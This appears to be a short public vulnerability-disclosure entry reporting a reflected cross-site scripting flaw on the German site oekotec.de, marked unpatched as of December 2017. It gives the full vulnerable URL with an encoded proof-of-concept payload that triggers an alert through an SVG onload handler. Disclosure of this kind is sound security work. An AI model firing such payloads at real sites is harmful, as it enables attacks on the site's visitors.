oekotec.de XSS vulnerability

Vulnerable URL: http://www.oekotec.de/de/?s=Shopname+hier+eingeben%2C+z.B.%3A+%22%2F%3E%27%3E%22%3EI%3Ci%3EI%3Csvg%2Fonload%3Dalert%28%2Fopenbugbounty%2F%29%3ETTO... Details: Description| Value ---|--- Patched:| No Latest check for patch:| 20.12.2017 Vulnerability type:| XSS Vulnerability status:...